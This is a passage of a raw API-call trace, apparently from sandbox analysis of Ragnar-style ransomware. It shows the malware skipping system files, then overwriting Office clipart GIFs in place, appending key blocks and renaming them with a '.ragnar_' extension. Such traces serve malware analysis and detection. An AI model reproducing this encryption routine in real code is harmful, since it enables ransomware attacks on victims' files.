1 [0079.710] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.710] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.710] GetProcessHeap () returned 0x580000 [0079.710] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.710] CloseHandle (hObject=0xf4) returned 1 [0079.710] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" [0079.710] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ragnar_FD7BD9FC" [0079.710] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.711] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0079.711] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.711] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00092_.GIF" | out: lpString1="AG00092_.GIF") returned="AG00092_.GIF" [0079.711] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned=".GIF" [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="autorun.inf") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="boot.ini") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootfont.bin") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootsect.bak") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootmgr") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootmgr.efi") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="desktop.ini") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="iconcache.db") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ntldr") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ntuser.dat") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ntuser.ini") returned -1 [0079.711] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="thumbs.db") returned -1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.711] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0079.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.712] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=502) returned 1 [0079.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.712] GetProcessHeap () returned 0x580000 [0079.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.712] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.713] VirtualAlloc (lpAddress=0x0, dwSize=0x1f6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.713] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f6, lpOverlapped=0x0) returned 1 [0079.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.713] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f6, lpOverlapped=0x0) returned 1 [0079.713] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.713] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.714] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.714] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.714] GetProcessHeap () returned 0x580000 [0079.714] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.714] CloseHandle (hObject=0xf4) returned 1 [0079.714] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" [0079.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ragnar_FD7BD9FC" [0079.714] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.714] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0079.715] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.715] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00103_.GIF" | out: lpString1="AG00103_.GIF") returned="AG00103_.GIF" [0079.715] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned=".GIF" [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="autorun.inf") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="boot.ini") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootfont.bin") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootsect.bak") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootmgr") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootmgr.efi") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="desktop.ini") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="iconcache.db") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ntldr") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ntuser.dat") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ntuser.ini") returned -1 [0079.715] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="thumbs.db") returned -1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.715] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0079.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.716] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12702) returned 1 [0079.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3195, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.716] GetProcessHeap () returned 0x580000 [0079.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.716] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.718] VirtualAlloc (lpAddress=0x0, dwSize=0x319e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.718] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x319e, lpOverlapped=0x0) returned 1 [0079.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.719] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x319e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.719] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x319e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x319e, lpOverlapped=0x0) returned 1 [0079.719] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x319e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.719] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.720] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x319e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.720] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.720] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.720] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.720] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.720] GetProcessHeap () returned 0x580000 [0079.720] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.720] CloseHandle (hObject=0xf4) returned 1 [0079.720] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" [0079.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ragnar_FD7BD9FC" [0079.720] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.721] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0079.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.721] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00120_.GIF" | out: lpString1="AG00120_.GIF") returned="AG00120_.GIF" [0079.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned=".GIF" [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="autorun.inf") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="boot.ini") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootfont.bin") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootsect.bak") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootmgr") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootmgr.efi") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="desktop.ini") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="iconcache.db") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ntldr") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ntuser.dat") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ntuser.ini") returned -1 [0079.721] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="thumbs.db") returned -1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.721] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0079.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.722] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3484) returned 1 [0079.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.722] GetProcessHeap () returned 0x580000 [0079.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.722] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.723] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.724] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd9c, lpOverlapped=0x0) returned 1 [0079.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd9c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd9c, lpOverlapped=0x0) returned 1 [0079.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.724] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.725] GetProcessHeap () returned 0x580000 [0079.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.725] CloseHandle (hObject=0xf4) returned 1 [0079.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 